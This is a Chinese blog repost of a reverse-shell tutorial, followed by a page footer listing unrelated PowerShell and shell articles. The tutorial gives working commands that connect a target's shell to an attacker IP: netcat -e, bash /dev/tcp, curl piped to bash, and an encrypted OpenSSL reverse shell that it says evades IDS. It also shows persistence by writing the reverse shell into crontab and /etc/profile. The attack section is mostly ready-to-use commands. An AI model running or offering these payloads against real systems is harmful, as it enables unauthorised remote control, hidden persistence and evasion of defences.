首页 > 系统相关 >反弹shell

反弹shell

时间:2024-02-08 10:34:40浏览次数:42  
标签:shell 攻击机 xxx netcat 反弹 bash

概念

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机(被攻击的目标)主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接

那么为什么要用反弹shell呢?

反弹shell通常适用于如下几种情况:

目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
目标机端口被占用。
目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
......
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

用法

一、利用netcat反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

攻击机开启本地监听:

netcat -lvvp 4333

目标机主动连接攻击机:

netcat 221.xxx.xxx.82 4333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

然后攻击机会显示从目标机(被攻击机)过来的连接connected.

二、利用Bash反弹shell

反弹shell还有一种好用的方法就是使用bash结合重定向方法的一句话,具体命令如下:

bash -i >& /dev/tcp/221.xxx.xxx.82/4333 0>&1
或
bash -c "bash -i >& /dev/tcp/221.xxx.xxx.82/4333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

攻击机开启本地监听:

nc -lvvp 4333

目标机主动连接攻击机:

bash -i >& /dev/tcp/221.xxx.xxx.82/4333 0>&1
并开启2333端口的监听。

然后再目标机上执行如下,即可反弹shell:
curl 221.xxx.xxx.82|bash

三、Curl配合Bash反弹shell

这里操作也很简单,借助了Linux中的管道。

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
并开启2333端口的监听。

然后再目标机上执行如下,即可反弹shell:curl 47.xxx.xxx.72|bash

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/ 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/221.xxx.xxx.82/4333 0>&1
#每隔一分钟,向221.xxx.xxx.82的4333号端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

四、使用OpenSSL反弹加密shell

在上文中,我们总结了很多反弹shell得方法,但是我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。这些通过shell通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可.

使用OpenSSL反弹加密shell

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 4333 端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。

这时在目标机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。

原文 https://xz.aliyun.com/t/9488?time__1311=n4%2BxuDgD9AdWqhDBqDwmDUhRDB0rC3eDRioD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

标签:shell,攻击机,xxx,netcat,反弹,bash
From: https://www.cnblogs.com/janeysj/p/18011606

相关文章

  • PowerShell中,可以使用以下命令来发送和接收TCP数据 发送IPv4 TCP数据 接收IPv4 TCP
    在PowerShell中,可以使用以下命令来发送和接收TCP数据:发送IPv4TCP数据:CopyCode$remoteIPAddress="192.168.0.1"$remotePort=80$tcpClient=New-ObjectSystem.Net.Sockets.TcpClient($remoteIPAddress,$remotePort)$networkStream=$tcpClient.GetStream()$bytes......
  • PowerShell 的 Get-FileHash 命令查询一个文件的所有上述哈希值(假设是 SHA256, MD5, S
    PowerShell是一种跨平台的任务自动化解决方案,包含一个命令行外壳、脚本语言和配置管理框架。PowerShell提供了用于计算文件哈希值的内置命令Get-FileHash。Get-FileHash命令可以用来计算文件的哈希值,支持多种哈希算法。,Get-FileHash支持以下几种哈希算法:SHA256:默认算法,提......
  • UEFI Shell是Unified Extensible Firmware Interface(统一可扩展固件接口)的一部分,它是
    UEFIShell是UnifiedExtensibleFirmwareInterface(统一可扩展固件接口)的一部分,它是一种命令行界面,允许用户在计算机启动时直接与UEFI固件进行交互。UEFIShell提供了一些基本的命令和功能,可以用于管理系统设置、诊断问题、访问硬件信息等操作。为什么使用UEFIShell:系统维护:......
  • xshell免费版 如何下载
    1.找到xshell官网https://www.xshell.com/zh/xshell/ 2。找到“免费授权页面” 3.在页面中直接点击“下载”按钮。就可以直接下载免费版本的好用的xshell工具了 ......
  • powershell和cmd的区别
    https://www.php.cn/faq/583291.htmlPowershell和CMD(命令提示符)是Windows操作系统中两个常用的命令行工具。尽管它们都是用于执行命令和脚本的工具,但它们在功能和用途上有很大的区别。一、语法和命令Powershell和CMD使用不同的语法和命令集。CMD使用基于MS-DOS的命令语法,而Powe......
  • PowerShell中,可以使用特定的命令来执行关机、重启和休眠等操作
    PowerShell中,可以使用特定的命令来执行关机、重启和休眠等操作。以下是这些操作的常用命令及其简要说明:关机(Shutdown)Stop-Computer用于关闭本地或远程计算机。示例:Stop-Computer若要强制关闭(不等待应用程序响应),可以添加 -Force 参数:Stop-Computer-Force重启(Re......
  • power shell 查询版本 方法大全
    在PowerShell中查看版本信息可以通过多种方式实现。以下是几种常用的方法来查看你当前使用的PowerShell版本:方法1: $PSVersionTable 变量这是检查PowerShell版本最简单和最常用的方法。只需在PowerShell窗口中输入以下命令:powershellCopyCode$PSVersionTable.PSVersion此......
  • power shell 命令 启用 服务 禁用服务
    在PowerShell中,你可以使用以下命令来替代DISM/Online/Cleanup-Image/RestoreHealth:powershellCopyCodeRepair-WindowsImage-Online-ScanHealth这个命令将扫描并修复Windows映像中的任何问题。请确保以管理员身份运行PowerShell以执行这个命令 这些命令用于在Windows......
  • PowerShell是一种跨平台的任务自动化解决方案,包括命令行shell、脚本语言和配置管理框
    PowerShell是一种跨平台的任务自动化解决方案,包括命令行shell、脚本语言和配置管理框架。PowerShell提供了丰富的命令(称为cmdlet),可以用来执行许多Windows管理任务,包括但不限于用户和组管理、文件系统操作、进程和服务管理等。下面列举一些常见的net命令以及它们在PowerShell中的对......
  • shell数组-1
       近期在目录遍历时突然想到了shell中数组的概念于是乎就把需要遍历的目录结构存放到数组中,然后再取数组中值--也就是目录,做统计目录大小或文件数量使用。在该项目中目录结构非常清晰,具体目录为/年份/月份/日期/小时/相应固定的目录,比如/2019/01/31/23/xunjian/*.jpg数组定义......